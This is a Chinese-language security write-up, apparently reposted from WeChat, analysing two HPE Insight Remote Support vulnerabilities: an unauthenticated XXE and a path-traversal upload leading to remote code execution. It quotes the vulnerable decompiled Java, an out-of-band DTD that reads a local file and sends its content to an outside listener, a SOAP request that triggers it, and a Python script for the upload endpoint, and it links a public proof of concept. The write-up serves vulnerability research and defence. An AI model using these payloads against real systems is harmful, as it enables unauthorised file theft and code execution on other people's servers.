在本文中,我们将深入研究最近在 HPE Insight 远程支持 (IRS) 应用程序中发现的两个严重漏洞,这些漏洞是 之前的版本v7.14.0.629。这些漏洞(CVE-2024-53675(未经身份验证的 XXE 漏洞)和 CVE-2024-53676(远程代码执行或 RCE 漏洞))构成了重大的安全风险,允许在易受攻击的系统上进行未经授权的访问和任意代码执行。
概述
由于假期的气氛,我本来没有发布任何帖子的计划,但在处理这个问题的过程中,我学到了一些关于安全编码实践的知识,寻找这些报告的漏洞是一个很好的做法,可以了解研究人员的思维过程,并可能在类似情况下进行变体分析。HPE 的 Insight Remote Support 应用程序用于收集多种其他硬件(如打印机等)的信息和统计数据,某些 servlet 通过 Web UI 公开,无需身份验证即可访问,从而可以更轻松地利用所有报告的漏洞,而无需依赖凭据。关于该软件的一些背景知识是,Web 服务器基于 Tomcat 服务器,也许您现在已经猜到了后端是基于 Java 开发的。
利用 HPE Insight Remote Support 中的 XXE(CVE-2024-53675)
最近,我尝试进行 n 天分析的几乎所有漏洞都被证明是 XXE,要么是因为它的简单性,要么是因为设置问题,只暴露了 XXE 易受攻击的端点。这次也不例外,因为我也遇到了这个设置问题,但没有人提到的一件事是,如果你想充分利用漏洞,让这样的应用程序真正工作起来有多难。说得够多了,让我们开始谈正事吧。
根据 ZDI 的建议:
此漏洞允许远程攻击者泄露受影响的 Hewlett Packard Enterprise Insight Remote Support 安装中的敏感信息。利用此漏洞无需身份验证。特定缺陷存在于validateAgainstXSD 方法的实现中。由于对 XML 外部实体 (XXE) 引用的限制不当,指定 URI 的伪造文档会导致 XML 解析器访问 URI 并将内容嵌入回 XML 文档以供进一步处理。攻击者可以利用此漏洞在 SYSTEM 上下文中泄露文件。
深入研究 XXE 漏洞validateAgainstXSD
该漏洞被称为未经身份验证的 XXE 漏洞,问题源于validateAgainstXSD,该函数属于ucacore具有多个实用函数的库,其中一个是我们的目标validateAgainstXSD。设备注册请求(根据 上可访问的 WSDL 文档/DeviceRegistration/DeviceRegistration.svc?wsdl)需要identifier参数中的 XML 内容,稍后会将其传递给com.hp.it.sa.helpers.RegisterDeviceHelper.java具有该内容的类validateDeviceIDsXML,该类随后将 XML 内容传递给validateAgainstXSD。
public static String validateDeviceIDsXML(String deviceIDXml) throws Exception {
boolean validate = DirectConnectUtil.shouldValidate(XMLDocumentType.DEVICE_IDENTIFIERS);
if (!validate) {
logger.info("validateDeviceIDsXML: Not really doing any validation as shouldValidate configuration says so");
return "";
}
String EMPTY_XML = "Empty Device Identifiers XML";
if (StringUtils.isEmpty(deviceIDXml)) {
if (logger.isDebugEnabled())
{
logger.debug("validateDeviceIDsXML: returning validation result as : ({})", "Empty Device Identifiers XML");
}
return "Empty Device Identifiers XML";
}
ByteArrayInputStream xmlStream = new ByteArrayInputStream(deviceIDXml.getBytes());
InputStream xsdSchemaStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("xsd/device_ids.xsd");
UCAXMLParseErrorhandler validationHanlder = null;
try {
validationHanlder = XMLValidator.validateAgainstXSD(xsdSchemaStream, xmlStream, new NamespaceFilter(), "xsd");
}
catch (SAXException e) {
[..snip..]
我们可以看到,validateAgainstXSD没有任何预定义的规则来阻止 DTD 和实体。对于,SAXSource必须定义一些规则来限制 DTD 的加载。
public static UCAXMLParseErrorhandler validateAgainstXSD(InputStream xsdSchemaStream, InputStream xmlInstanceStream, XMLFilterImpl nameSpaceFilter, String xsdPath) throws Exception {
UCAXMLParseErrorhandler xmlParseErrorhandler = new UCAXMLParseErrorhandler();
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Source schemaFile = new StreamSource(xsdSchemaStream);
factory.setResourceResolver(new ResourceResolver(xsdPath));
try {
Schema xsdSchema = factory.newSchema(schemaFile);
Validator validator = xsdSchema.newValidator();
SAXSource source = new SAXSource(nameSpaceFilter, new InputSource(xmlInstanceStream));
validator.setErrorHandler(xmlParseErrorhandler);
validator.validate(source, null);
logger.debug("validateAgainstXSD: xmlParseErrorhandler.isValid = {}", Boolean.valueOf(xmlParseErrorhandler.isValid));
} catch (SAXException e) {
logger.error("validateAgainstXSD:", e);
throw e;
} catch (IOException e) {
logger.error("validateAgainstXSD: ", e);
throw e;
}
return xmlParseErrorhandler;
}
利用 XXE 漏洞:概念验证
为了利用这一点,我托管了malicious.dtd一个 OOB XXE 漏洞,然后我们发送一个精心设计的有效载荷,它将加载这个托管的 DTD,然后读取指定的文件并将其发送到我们的侦听器。这导致从指定文件中检索内容,不幸的是,底层库只发送文件的第一行,因为它无法解析换行符,因此使得这次整体攻击在泄露数据方面受到限制。几个月前,我在Ivanti Avalanche XXE漏洞中发现了类似的情况,我为此编写了一个漏洞利用程序。
以下 DTD 用于展示通过 OOB 读取的文件:
<!ENTITY % file SYSTEM "file:///C:usersAdministratorDesktophello.txt">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://192.168.1.17/?content=%file;'>">
%eval;
%exfiltrate;
RegisterDevice触发XXE攻击的请求:
# SOAP envelope using WS-Addressing with correct input/output actions
soap_envelope = f"""
<soap12:Envelope xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:tns="http://www.hp.com/it/sa/reg/">
<soap12:Header>
<wsa:Action>http://www.hp.com/it/sa/reg/Registration/RegisterDevice</wsa:Action>
<wsa:MessageID>urn:uuid:{uuid.uuid4()}</wsa:MessageID>
<wsa:To>https://localhost:7906/DeviceRegistration/DeviceRegistration.svc</wsa:To>
<tns:AuthenticationHeader>
<tns:Gdid>exampleGdid</tns:Gdid>
<tns:RegistrationToken>exampleToken</tns:RegistrationToken>
</tns:AuthenticationHeader>
</soap12:Header>
<soap12:Body>
<tns:RegisterDevice>
<tns:identifiers>
<![CDATA[
<!DOCTYPE a SYSTEM "{collaborator_url}/malicious.dtd">
<a>&callhome;</a>
]]>
</tns:identifiers>
<tns:userId>user123</tns:userId>
<tns:password>password123</tns:password>
<tns:locale>en-US</tns:locale>
<tns:optIn>true</tns:optIn>
</tns:RegisterDevice>
</soap12:Body>
</soap12:Envelope>
"""
完整的 POC 可以在这里找到。https://github.com/pwnfuzz/POCs/tree/main/CVE%202024-53675
利用 HPE IRS 中的远程代码执行漏洞(CVE-2024-53676)
此漏洞允许远程攻击者在受影响的 Hewlett Packard Enterprise Insight Remote Support 安装上执行任意代码。利用此漏洞无需身份验证。特定缺陷存在于processAtatchmentDataStream方法的实施中。该问题是由于在文件操作中使用用户提供的路径之前没有对其进行适当的验证。攻击者可以利用此漏洞在 SYSTEM 上下文中执行代码。
了解 RCE 漏洞processAtatchmentDataStream
描述是不言自明的,如果您有机会查看用 Java 编写的易受攻击的文件上传处理代码,您可以在一分钟内发现它。将接收器连接attachment到源并不难,因为我们已经知道了接受请求的暴露端点。com.hp.it.sa.helpers.DataPackageReceiverWebSvcHelper.java,此源文件有一个方法名processRequestForAttachment,它执行了几次检查,然后processAttachments从attachmentsHelper类中调用。
/* */ }
/* */
/* 227 */ AttachmentsHelper attachmentsHelper = new AttachmentsHelper(adpHolder[0]);
/* 228 */ processRequestResponse = attachmentsHelper.processAttachments(dataPackageSubmissionRequest);
/* 229 */ if (chd[0] != null && adpHolder[0] != null) {
/* */
/* 231 */ (chd[0]).fileSize = (adpHolder[0]).attachmentSize;
/* 232 */ (chd[0]).fileName = (adpHolder[0]).attachmentName;
/* */
/* 234 */ logger.debug("set collectionHistory file name '{}' and size {}", Long.valueOf((adpHolder[0]).attachmentSize));
/* */ }
/* */
/* 237 */ if (!adpHolder[0].changeAdpStateAndPersistInDB(CollectionStateType.NEW))
/* */ {
/* 239 */ logger.warn("Could not change ADP state to NEW");
/* */ }
/* */
/* 242 */ return processRequestResponse;
/* */ }
private void processAtatchmentDataStream(AttachmentPart attachment) throws IOException, SOAPException {
String attachmentName = attachment.getContentId();
logger.debug(" processAtatchmentDataStream: Next attachment name = {}", attachmentName);
DataHandler content = attachment.getDataHandler();
*/
try {
InputStream inputStream = new BufferedInputStream(content.getInputStream(), 8000);
String attachmentFileDirectory = DirectConnectUtil.attachmentFileDirectory();
attachmentFileDirectory = StringUtils.isBlank(attachmentFileDirectory) ? FileUtils.createTempDirectory("dprAttachments").getAbsolutePath() : attachmentFileDirectory;
String attachmentFileLocation = attachmentFileDirectory + File.separatorChar + attachmentName.substring(1, attachmentName.length() - 1);
File file = new File(attachmentFileLocation);
file.createNewFile();
OutputStream output = new BufferedOutputStream(new FileOutputStream(file));
content.writeTo(output);
output.close();
inputStream.close();
logger.debug(" processAtatchmentDataStream: saved attachment at attachmentFileLocation = " + attachmentFileLocation + " with size = " + file
.length());
}
catch (Exception e) {
throw new WebServiceException(e);
}
}
理论利用:设置问题阻止完整的 RCE
有了这些信息,编写请求就不成问题了,因为 WSDL(https://localhost:7906/DataPackageReceiver/DataPackageReceiverService.svc?wsdl) 提供了有关参数及其预期数据的信息。利用它,以下脚本编写了包含一些必需参数的 SOAP 请求,这是基于我们在上一个 XXE 攻击中使用的脚本。
import base64
import requests
import uuid
# SOAP endpoint
url = "https://localhost:7906/DataPackageReceiver/DataPackageReceiverService.svc"
# The file to send (hello.txt)
file_path = "hello.txt"
# Create the content of the file (hello.txt)
with open(file_path, "w") as file:
file.write("pwned")
# Read the file and encode it in Base64
with open(file_path, "rb") as file:
file_content = file.read()
encoded_file_content = base64.b64encode(file_content).decode('utf-8')
encoded_attachment_content = base64.b64encode(b"pwning").decode('utf-8')
# Construct the SOAP XML body with xmlDocument and attachments
message_id = f"{uuid.uuid4()}" # Generates a new UUID
relates_to_id = f"{uuid.uuid4()}" # Use your specific RelatesTo UUID
gdid = guid = uuid.uuid4()
registration_token = "a"*32
xml_body = f"""
<S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope"
xmlns:web="http://www.hp.com/it/sa/dpra/"
xmlns:ns1="http://www.w3.org/2005/08/addressing">
<S:Header>
<ns1:Action>http://www.hp.com/it/sa/dpra/DataPackageReceiverService/DataPackageReceiver</ns1:Action>
<ns1:MessageID>{message_id}</ns1:MessageID>
<ns1:RelatesTo>{relates_to_id}</ns1:RelatesTo>
<ns1:ReplyTo>
<ns1:Address>http://www.w3.org/2005/08/addressing/anonymous</ns1:Address>
</ns1:ReplyTo>
<!-- SOAP Headers -->
<web:gdid>{gdid}</web:gdid>
<web:guid>674a151e-72c3-4747-bf8d-9a4647ff8883</web:guid>
<web:registrationToken>{registration_token}</web:registrationToken>
</S:Header>
<S:Body>
<web:DataPackageSubmissionRequest>
<web:xmlDocument>
<![CDATA[<?xml version="1.0" encoding="UTF-8"?>
<root>
<element>Sample XML Data</element>
</root>]]>
</web:xmlDocument>
<web:attachments>
<web:ArrayOfAttachment>
<web:Attachment>
<web:FileName>example.pdf</web:FileName>
<web:FileContent>cm9iaW4=</web:FileContent> <!-- Base64 encoded content -->
</web:Attachment>
</web:ArrayOfAttachment>
</web:attachments>
</web:DataPackageSubmissionRequest>
</S:Body>
</S:Envelope>
"""
print(xml_body)
# Set the headers for the SOAP request
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8", # SOAP 1.2 content type
}
# Send the request
response = requests.post(url, data=xml_body, headers=headers, verify=False)
# Print the response
print("Response Status Code:", response.status_code)
print("Response Text:", response.text)
不幸的是,正如我们所看到的,它表明oosId没有找到,oosID这里指的是注册期间分配的设备ID,如果在注册实例中找不到此ID,它将不会进一步处理请求并调用错误,因此甚至不会处理通过请求发送的附件。
tagsResponse Text: <?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope"><S:Header><To xmlns="http://www.w3.org/2005/08/addressing">http://www.w3.org/2005/08/addressing/anonymous</To><Action xmlns="http://www.w3.org/2005/08/addressing" xmlns:S="http://www.w3.org/2003/05/soap-envelope" S:mustUnderstand="true">http://www.hp.com/it/sa/dpra/DataPackageReceiverService/DataPackageReceiverResponse</Action><MessageID xmlns="http://www.w3.org/2005/08/addressing">uuid:765bc242-3452-446c-8c0f-7107086e59ec</MessageID><RelatesTo xmlns="http://www.w3.org/2005/08/addressing">dc305c5e-c0fb-4bbf-8d92-6ddd8b6bf7ad</RelatesTo></S:Header><S:Body><DataPackageSubmissionResponse xmlns="http://www.hp.com/it/sa/dpra/" xmlns:ns2="http://www.hp.com/it/sa/dpra" xmlns:ns3="http://schemas.microsoft.com/2003/10/Serialization/"><Status>SenderError</Status><ErrorCode>206</ErrorCode><Message>This device (with oosId: e0cc510d-9100-4b24-9f16-bbb13b004463) is not found in Insight Remote Support. Please unregister and re-register device.</Message></DataPackageSubmissionResponse></S:Body></S:Envelope>
检查日志,我们发现相同的消息已记录到文件中,并且还有附加信息表明附件处理已被应用程序中止。
17 Dec 2024 20:02:50.343 [qtp1418385211-34] INFO c.h.i.s.h.DataPackageReceiverWebSvcHelper - Found attachment: ({http://www.hp.com/it/sa/dpra/}xmlDocument)
17 Dec 2024 20:02:50.343 [qtp1418385211-34] WARN c.h.i.s.h.DataPackageReceiverWebSvcHelper - Unknown device. Could not find an IpAddress in the xmlString
17 Dec 2024 20:02:50.343 [qtp1418385211-34] ERROR c.h.i.s.h.DataPackageReceiverWebSvcHelper - processRequest: This device (with oosId: 93f6702d-6ba5-406c-9e81-c9959f141e39) is not found in Insight Remote Support. Please unregister and re-register device.
17 Dec 2024 20:02:50.343 [qtp1418385211-34] ERROR c.h.i.s.h.DataPackageReceiverWebSvcHelper - processRequestForAttachment: aborted processing due to some error in inline XML processing: (javax.xml.bind.JAXBElement@49919d89)
17 Dec 2024 20:02:50.343 [qtp1418385211-34] ERROR c.h.i.s.d.DataPackageReceiverServiceImpl - dataPackageReceiver: non-success status : SENDER_ERROR
17 Dec 2024 20:02:52.711 [RGMgr-1] INFO c.h.u.i.a.hp.remotesupport.HpAdapter - [RGMgr-1] Triggered for self-registration.
检查处理附件的功能,它不执行处理。
/* 206 */ DataPackageXmlSubmissionResponse processRequestXmlResponse = processRequest(xmlString, oosId, iLoMsgId, registrationToken, adpHolder, chd, true);
/* */
/* 208 */ processRequestResponse = DirectConnectUtil.convertToDataPackageSubmissionResponse(processRequestXmlResponse);
/* */
/* 210 */ if (!processRequestResponse.getStatus().equals(DataPackageResultStatus.SUCCESS)) {
/* */
/* 212 */ logger.error("processRequestForAttachment: aborted processing due to some error in inline XML processing: ({})", processRequestResponse
/* */
/* 214 */ .getMessage());
/* 215 */ return processRequestResponse;
/* */ }
/* */
根据我们对此漏洞的分析,很明显,利用此漏洞需要gdid(oosId)和注册令牌,这限制了完全未经身份验证的攻击的可能性。虽然利用过程本身很简单,但对这些特定值的需求引入了一些依赖性。我已将 PoC 上传到 GitHub,从进行的分析来看,使用硬编码值的理论利用肯定可以触发此路径遍历漏洞。一旦获得必要的项目,任何评估此漏洞的人都应该能够充分利用它,通过路径遍历利用 RCE。
原文始发于微信公众号(Ots安全):探索 HPE Insight Remote Support 中的最新 CVE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论